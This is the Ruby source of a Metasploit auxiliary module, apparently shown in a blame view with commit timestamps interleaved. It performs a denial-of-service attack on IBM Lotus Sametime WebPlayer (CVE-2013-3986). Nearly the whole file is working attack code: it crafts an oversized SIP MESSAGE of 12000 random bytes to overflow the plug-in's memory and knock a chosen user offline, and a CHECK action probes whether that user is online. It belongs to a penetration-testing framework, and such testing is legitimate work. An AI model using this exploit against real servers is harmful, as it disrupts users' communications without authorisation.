metasploit-framework/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb

232 lines
7.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Sametime WebPlayer DoS',
'Description' => %q{
This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
version 8.5.2.1392 (and prior) to cause a denial of service condition
against specific users. For this module to function the target user
must be actively logged into the IBM Lotus Sametime server and have
the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
browser extension. The user should have the WebPlayer plug-in active
(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
},
'Author' =>
[
2014-01-17 16:52:42 +00:00
'Chris John Riley', # Vulnerability discovery
'kicks4kittens' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' =>
[
2014-01-17 16:52:42 +00:00
['DOS',
{
'Description' => 'Cause a Denial Of Service condition against a connected user'
}
],
['CHECK',
{
'Description' => 'Checking if targeted user is online'
}
]
],
'DefaultAction' => 'DOS',
'References' =>
[
[ 'CVE', '2013-3986' ],
[ 'OSVDB', '99552' ],
[ 'BID', '63611'],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
],
'DisclosureDate' => 'Nov 07 2013'))
register_options(
[
Opt::RPORT(5060),
2014-01-17 16:52:42 +00:00
OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
OptString.new('SIPURI', [
true,
'The SIP URI of the user to be targeted',
'<target_email_address>@<sametime_media_server_FQDN>'
]),
OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])
], self.class)
end
def setup
# cleanup SIP target to ensure it's in the correct format to use
@sipuri = datastore['SIPURI']
2014-01-17 16:52:42 +00:00
if @sipuri[0, 4].downcase == "sip:"
# remove sip: if present in string
2014-01-17 16:52:42 +00:00
@sipuri = @sipuri[4, @sipuri.length]
end
2014-01-17 16:52:42 +00:00
if @sipuri[0, 12].downcase == "webavclient-"
# remove WebAVClient- if present in string
2014-01-17 16:52:42 +00:00
@sipuri = @sipuri[12, @sipuri.length]
end
end
def run
# inform user of action currently selected
2016-02-01 22:06:34 +00:00
print_status("Action: #{action.name} selected")
2014-01-17 16:52:42 +00:00
# CHECK action
if action.name == 'CHECK'
2016-02-01 22:06:34 +00:00
print_status("Checking if user #{@sipuri} is online")
if check_user
2016-02-01 22:06:34 +00:00
print_good("User online")
else
2016-02-01 22:06:34 +00:00
print_status("User offline")
end
2014-01-17 16:52:42 +00:00
return
end
# DOS action
2016-02-01 22:06:34 +00:00
print_status("Checking if user #{@sipuri} is online")
2014-01-17 16:52:42 +00:00
check_result = check_user
if check_result == false
2016-02-01 22:06:34 +00:00
print_error("User is already offline... Exiting...")
2014-01-17 16:52:42 +00:00
return
end
# only proceed if action is DOS the target user is
# online or the CHECKUSER option has been disabled
2016-02-01 22:06:34 +00:00
print_status("Targeting user: #{@sipuri}...")
2014-01-17 16:52:42 +00:00
dos_result = dos_user
if dos_result
2016-02-01 22:06:34 +00:00
print_good("User is offline, DoS was successful")
2014-01-17 16:52:42 +00:00
else
2016-02-01 22:06:34 +00:00
print_error("User is still online")
end
end
2014-01-17 16:52:42 +00:00
def dos_user
length = 12000 # enough to overflow the end of allocated memory
msg = create_message(length)
res = send_msg(msg)
if res.nil?
2016-02-01 22:06:34 +00:00
vprint_good("User #{@sipuri} is no responding")
return true
elsif res =~ /430 Flow Failed/i
2016-02-01 22:06:34 +00:00
vprint_good("DoS packet successful. Response received (430 Flow Failed)")
vprint_good("User #{@sipuri} is no longer responding")
return true
elsif res =~ /404 Not Found/i
2016-02-01 22:06:34 +00:00
vprint_error("DoS packet appears successful. Response received (404 Not Found)")
vprint_status("User appears to be currently offline or not in a Sametime video session")
return true
elsif res =~ /200 OK/i
2014-01-17 16:52:42 +00:00
vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
return false
else
2016-02-01 22:06:34 +00:00
vprint_status("Unexpected response")
return true
end
end
2014-01-17 16:52:42 +00:00
# used to check the user is logged into Sametime and after DoS to check success
def check_user
length = Rex::Text.rand_text_numeric(2) # just enough to check response
msg = create_message(length)
res = send_msg(msg)
2014-01-17 16:52:42 +00:00
# check response for current user status - common return codes
if res.nil?
2016-02-01 22:06:34 +00:00
vprint_error("No response")
2014-01-17 16:52:42 +00:00
return false
elsif res =~ /430 Flow Failed/i
2016-02-01 22:06:34 +00:00
vprint_good("User #{@sipuri} is no longer responding (already DoS'd?)")
2014-01-17 16:52:42 +00:00
return false
elsif res =~ /404 Not Found/i
2016-02-01 22:06:34 +00:00
vprint_error("User #{@sipuri} is currently offline or not in a Sametime video session")
2014-01-17 16:52:42 +00:00
return false
elsif res =~ /200 OK/i
2016-02-01 22:06:34 +00:00
vprint_good("User #{@sipuri} is online")
2014-01-17 16:52:42 +00:00
return true
else
2016-02-01 22:06:34 +00:00
vprint_error("Unknown server response")
2014-01-17 16:52:42 +00:00
return false
end
end
def create_message(length)
# create SIP MESSAGE of specified length
2016-02-01 22:06:34 +00:00
vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
2014-01-17 16:52:42 +00:00
source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
source_host = Rex::Socket.source_address(datastore['RHOST'])
src = "#{source_host}:#{datastore['RPORT']}"
cseq = Rex::Text.rand_text_numeric(3)
message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
branch = Rex::Text.rand_text_alphanumeric(7)
# setup SIP message in the correct format expected by the server
data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
data << "Max-Forwards: 80\r\n"
data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
2014-01-17 16:52:42 +00:00
data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
data << "CSeq: #{cseq} MESSAGE" + "\r\n"
data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
2014-01-17 16:52:42 +00:00
data << "User-Agent: #{source_user}\r\n"
data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
data << message_text
return data
end
def timing_get_once(s, length)
if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
return s.get_once(length, datastore['TIMEOUT'])
else
return s.get_once(length)
end
end
def send_msg(msg)
begin
s = connect
# send message and store response
s.put(msg + "\r\n\r\n") rescue nil
# read response
res = timing_get_once(s, 25)
if res == "\r\n"
# retry request
res = timing_get_once(s, 25)
end
return res
rescue ::Rex::ConnectionRefused
2016-02-01 22:06:34 +00:00
print_status("Unable to connect")
2014-01-17 16:52:42 +00:00
return nil
rescue ::Errno::ECONNRESET
2016-02-01 22:06:34 +00:00
print_status("DoS packet successful, host not responding.")
2014-01-17 16:52:42 +00:00
return nil
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 22:06:34 +00:00
print_status("Couldn't connect")
2014-01-17 16:52:42 +00:00
return nil
ensure
# disconnect socket if still open
disconnect if s
end
end
end